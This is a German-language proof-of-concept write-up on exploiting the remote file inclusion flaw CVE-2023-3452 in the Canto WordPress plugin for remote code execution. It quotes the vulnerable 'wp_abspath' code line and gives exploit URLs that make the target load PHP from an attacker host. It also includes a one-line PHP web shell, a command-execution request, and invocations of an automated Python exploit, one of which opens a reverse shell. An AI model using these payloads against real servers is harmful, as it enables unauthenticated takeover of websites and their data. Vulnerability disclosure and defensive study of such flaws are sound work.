
Wordpress Plugin Canto < 3.0.5 - Remote File Inclusion (RFI) und Remote Code Execution (RCE)
Hier erklären wir einen PoC der aktuellen RFI (Remote File Inclusion) Schwachstelle des Canto Wordpress-Plugins und haben einen Exploit entwickelt, um die Ausführung von Befehlen zu automatisieren.
„Das Canto-Plugin für WordPress ist anfällig für Remote File Inclusion in Versionen bis einschließlich 3.0.4 über den Parameter 'wp_abspath'. Dies ermöglicht es nicht authentifizierten Angreifern, beliebigen entfernten Code auf dem Server einzuschleusen und auszuführen, sofern allow_url_include aktiviert ist. Local File Inclusion ist ebenfalls möglich, jedoch weniger nützlich, da der Angreifer in der Lage sein muss, eine bösartige PHP-Datei per FTP oder auf andere Weise in ein vom Webserver lesbares Verzeichnis hochzuladen.“ (https://nvd.nist.gov/vuln/detail/CVE-2023-3452)
Dieser Exploit nutzt einen Fehler im Parameter wp_abspath, wie in der folgenden Codezeile in includes/lib/download.php zu sehen ist:
...
require_once($_REQUEST['wp_abspath'] . '/wp-admin/admin.php');
...
Um diese Schwachstelle auszunutzen, muss außerdem der Parameter allow_url_include=On in der PHP-Konfiguration aktiviert sein.
Es ist möglich, Anfragen mit diesem Parameter zu stellen, die auf unseren Webserver verweisen, von dem aus PHP-Code interpretiert wird. Wenn wir beispielsweise die folgende Anfrage stellen, können wir überprüfen, dass die Anfrage auf unserem Server eingeht:
http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://192.168.1.33:8080

Wir sehen, dass der Server die Datei /wp-admin/admin.php aufruft. Wenn wir also das Verzeichnis erstellen und unseren bösartigen PHP-Code in die Datei admin.php einfügen, lädt der anfällige Server diese herunter und führt sie korrekt aus.
Wenn wir beispielsweise in unsere admin.php eine PHP-Web-Shell <?php system($_GET['cmd']); ?> schreiben, können wir Code aus der Ferne ausführen.
http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://192.168.1.33:8080&cmd=whoami

All dies wurde im Python-Exploit CVE-2023-3452.py automatisiert.
python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -c 'id'

python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -NC_PORT 3333 -s php-reverse-shell.php
